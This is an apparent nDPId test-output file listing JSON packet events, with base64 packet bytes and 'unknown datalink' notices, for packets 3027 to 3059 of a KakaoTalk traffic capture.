+00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":121497,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFWAqAbDQHfrOGw1SapdptKqOik3c6rYZHlcb8g+QekRH0SUbWVmHSmn+pL+XqWrnw\/\/zC9RpAUWpe+97Mb3wQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":141059,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL8AAEAAPxHa4woYUrwByQGuLDhaBACrqaiAbFGBi0QlGguGVRlb8nhlLzbPkc8Wnwx9xadOus8aqY3McWVZVp3RNGNqBgVqPpQot29pRfSrnqaDtPTHLNB9Td89qmebzRH2caN4dv7tcX4c8l\/OKppp1q+aKeloVQdLtNq8FXei0MB3S7\/UN4cIsmO9XqJ9tjx1PBu\/\/lmtfoVpdXUKMygwBPph6FId4sc7JpwSE5NpyPo4XB0IFFwvLW5i"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":171515,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMhHeAbFFzi0PwmguGVRk8vld9HppDGl9\/R\/HfTIzt\/ai4BBRpSj\/UdvKM9kDWqp5zkqINdLg5AeUIiMhmBxSLopQFKaMePA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":191565,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFe\/uAbFF0i0P0WguGVRmXfplvn64rQGfO5WbNU3XtOg5yXVdQP8bEuGr6Ln\/HpGodY1maKeniYmY2yEr34IXj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":199103,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEOe2AbDP6frNWA1SapdoGpI9LVChpF3I5C9OnNmd6w3gv\/slxfrDSzJIXyWaR\/5sAjb61froJlJ8Zm+siTek="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":200843,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLLt+AbDQIfrOKg1SapdrFqp8C6LHknbUfcAnfh0U28A9PWuiR6bZxZlqabWvs3e\/6QfoNBAxNTBLxWHWe1U8VfMhKIKKw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":235083,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK8AAEAAPxHa8woYUrwByQGuLDhaBACbKTuAbFGCi0Qo2guGVRmwyZlc+XuBluK28ySoCgRVsShq7gT1zHzizDv\/7mVWxjvDvOSkdSPAajdpzCF64\/GkuIPdkfMEe6wXrippzt\/roDIfa9mvsAX8\/VvO6652Upws3hedTC2yqSc32CpNNXTq5rrnp+f1elw9gslohOzvTaOpVQCYxbypSNhHc6IBiS6mbv3EhFo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":240393,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB79dKAbFGDi0QsmguGVRn6blRgIYPe4aItNtxGM8IV2QbeG6+X9YMx2Wf0fI\/w07KkBVGRSmRgmsHOJm0NMsxHnz10J8L\/AiXdIxe3XXmfhphqH026rAGUvVgcNybpWJIqsVx0J7Hi7UkHVTP9YDB+cvaqMcQ3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":259864,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHRH9GAHJAa4KGFK8WgQsOABOkcGAbDP7frNZw1Sapdo523A7i63ODnH+ZED0lhTHW4a6wNa1N4vP3mq9SJDiyAdAS+8dNm+298S6+Y8Bc7Qa+UEus5xut328"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":284644,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMoXeAbDQJfrOOQ1SapdqrYvFmo2h7iUONq\/Mb2QIzKk1OE6pPy6AH0uVuIwwYr\/Qt10xp0vwY67GCVppH7idEz27Bl4psAA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":295264,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/TneAbFF1i0P4GguGVRnw\/9TZlJ\/4U02ShR0I0nfjBteIp0fqhsGQRyRbPqnvmEs3yF542Wia419Z"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":308509,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/xQ2AbFF2i0P72guGVRliWZShUOlfO5VGkaRtqjxgWZ\/qXjCtHye6RRU9g9Z4NWtTA7RrgVx1jN8D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":325202,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKsL6AbDQKfrOSA1SapdqUlwAL3BJB5inTrRc\/ipTNb7BI5s8BbUSVipN646tG96TE27m3nHBmkVu\/xRpjd3SaoBv3xBU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":340979,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAPxHa6goYUrwByQGuLDhaBACkK+CAbFGEi0QwWguGVRk0cIkO9kD5S3VEI6wvl+VFlAKPuc+Dc8W4WKwSMsYxiTfgnvtqZKrN9WV8VwbqXMmMOQTqrdLfxbDqT1sX0dW7DTi1rzAGbMzKOP8l5TzoeosF0tkYpVbTanuCz0oUtXXFvZEXyoFgsOOl4EXhjYlM2RTRJqV8KYOO39amblAWXL641GEpxhIpnOLE2gCKrt0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":343238,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMEAAEAAPxHa4QoYUrwByQGuLDhaBACtPt2AbFGFi0Q0GguGVRkBil1d8mrAX0mToqjuUYJdBwdfotLO2jZhEmyFkztqMhFxvouh7JC9j57WInYeg1x9QPlIpO0ISw1kODuwAqSo3H+94MubopkU4X6N3+HM12XYO21oQPAgdRatQAemwDa\/H5IW26AlUuxLWZgn8xGuDtbKTWN8Bd7q79spwYaEfbUCk\/f2urFykd5syQq8XYGzW04rrmINIhg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":355292,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBq6rmByAAMVJql2krhbV89oUMcy\/H1yMRyxtzLvCuV+NKOpWlKABNpiuOYr7ETUv3rdzsNnsxA\/ZnLoRRbbOFaLNLF7\/fqnOEK7h4w8e0O7kWD7tpnQ+qAAAALtTDeeR\/VL0OxsQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":356024,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGQAAEAAHRH9FgHJAa4KGFK8WgQsOABQ5d6AbDP8frNdg1Sapdq100xOQS\/9ugEzw3aGyjeqP7sk\/jnFicyEfDDUmd19FLRu0zKqBXG5wZ9qsIQDSA6zWMFxeWD\/siZYPyI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":370215,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/nI2AbFF3i0P\/mguGVRmUbYnVILlL4yUK9I\/UZNAaEeq416\/ZMhTQo02c9NF9SENZ\/egXb4jCSpwR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":381507,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLlh2AbDQLfrOVw1Sapdq6rEJXebqQKFFjYEzV7OTD+TK9nRBUpU7A2NyNjr3qP\/fKUoP+MEcvCGHgOjb87g7L5nY\/js5f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":395301,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJkAAEAAHRH84QHJAa4KGFK8WgQsOACF6LuAbDP9frNhQ1SapdrXX1rTYv+4T3\/2XJHT84DxdQj11tIkb6lTn7x40Nr4YjZcfx9ozzj0l0qUWe\/Khg61kFbj0yEad4vf0Z+LpksnC+wnGr0O5B7pJ\/EuiYlJZvSy4xDsOymDVPg\/VITUkiPRIdnYbdMMTY0\/JDkJ7Fj\/IQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":407233,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAHRH8uAHJAa4KGFK8WgQsOACuRRuAbDP+frNlA1SapdpEIeDDwNIGuNygkd517MBQXgBits9sXbGSwja7z5btFvtlrMo3ktmPlMJYEo2OzGQ6Y035zf8fqSa21O+n6eXXAjKLHPAGfxvDb4qLwd5iK6nlr0C\/etTyCRs4IH3F5hglgeBITOHG0wLR3u1kRBDjZQpZLjj2m3bFYOptWozB8Ix\/Tyc6+tlbv9T3ka7eFlMhIPw64Si+TEHD"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":424628,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJER+AbDQMfrOZg1Sapdp9RBzjf0wMo8ibI7XIs+oRUib3vRmOfOAeGrauf8dIHCT0gxAvuUq3xDcDvVaduQt5KDVCWg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":433814,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAPxHa6woYUrwByQGuLDhaBACjgr2AbFGGi0Q32guGVRlQDGTFzas8seh28zV8C+niXDz9TvwXISjZUs4jj+g1QFYW1UDTB35IolT\/YyCYno6JfEfJYCWDXT+Uhys2XpRx8LnfRwSnV1MMJmZvS5AhtAjx4I0CHu1\/rKGjjVKI4Wz934UipVaMg3rFuWzv1\/EbGKk4+VUl9KAh8s83YriMzc5j1xQd4zEXnJ4yVhMEEg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":443061,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/MIuAbFF4i0QDWguGVRk5AecA11Rmxp78cwkTC5u+Ck3VAjAH+fpcJjPREAD95XNmGQiOk2OLq6o7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":455054,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/JEGAbFF5i0QHGguGVRlYTdAXYQ3sQfa4FlY0KPVmqCYZLP4B217CyMsoaleqAb1\/KN72WPGpfCwA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":471686,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHRH8xQHJAa4KGFK8WgQsOAChC0WAbDP\/frNow1SapdorAisRCv5zKWcR99Cs34rt3KBzESZz31x9TOgzYE+yULmjQcCi8qpFkt0BOfqngkxUHeCauOQxJ+xEtGv0x4CzStv4GPGTO\/4ofrflXiSE3cuegJHqfd8hLA1LLAQXTlCG1JUoeOxe9XzKt6uNvReM2jHl0pGcBMGWwiTKW2DRxd8IUSwikmrY3Fk3WL4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":498755,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPvPiAbDQNfrOdQ1SapdrQvBuSCjpP23nYJzBdHTxWMsPurEqN74dfzfgOt6jeCgmIFjjDoNDxr6LulYaprIZGy7e34kg9cSwV+w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":499182,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHRH8wgHJAa4KGFK8WgQsOACkw0+AbDQAfrNsg1SapdrXhbPQQdKTuaXIj2dW98a5d8N3K08\/ylwXxQUk+vdFz8g3TszJeGjcZTI8QbWk5+2\/9bkahMPaM9ejFrtWOsWnDW96cY0yGzlRSAJQNGQuEdPU8bBzmJuowEpl9UgQkSqoIbpaz9vuJynyoPtBZHqyiTUBTfgS++m+KJWRkSvuzFq7uO\/EOQAJI3sU0cmVp+w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":507056,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Tj6AbFF6i0QK2guGVRmeGdoxhBTJ6BR5D5aCMEVOdrIG5jh+66ePISSiXqxMYxiV8HDGhb\/wpzod"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":533454,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI0AAEAAPxHbFQoYUrwByQGuLDhaBAB5MO2AbFGHi0Q7mguGVRklnpQ\/u2Nj6GuIbkw\/r6\/s8NPf4pDzgKr5qDyiD9oKXC8gYK0FVrz8I0\/Gmc+DspcHSAYwoS8yekOGS25f2132hprtlIXwc2PozpCri8O6tWsmCGEOrRKwwtE+baRuXSK6dGn3Qw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":540534,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAPxHbCAoYUrwByQGuLDhaBACGkCaAbFGIi0Q\/WguGVRmJ0HUcez22MFT5FlCjTC7mpu2bK1LTFDGQVqV3RWNOUYjEJ4DTJxMWfpHczR49sTRicIA48UThD\/syq1EjFScidB+uDxD7p4hUrEPiEVkjIm44RXuUC\/TkNr3LmEXYbM0mAhBv+rRpT9lHDbJY1T1+klw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":548438,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/x+OAbFF7i0QOmguGVRmCwnozuQH+1fWpSRBuHskwhHwaESGssh6FVzItaNymbgLMD\/LRFPdjmoKv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":565802,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPnHqAbDQOfrOhA1SapdrkaC5cymUlHKCNzsGDOVsrQsCVX3FlvSPz0Jrka7KBgdlBjUppAA8590ykJw4oF+O5hoiF1VUZH5Rseg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 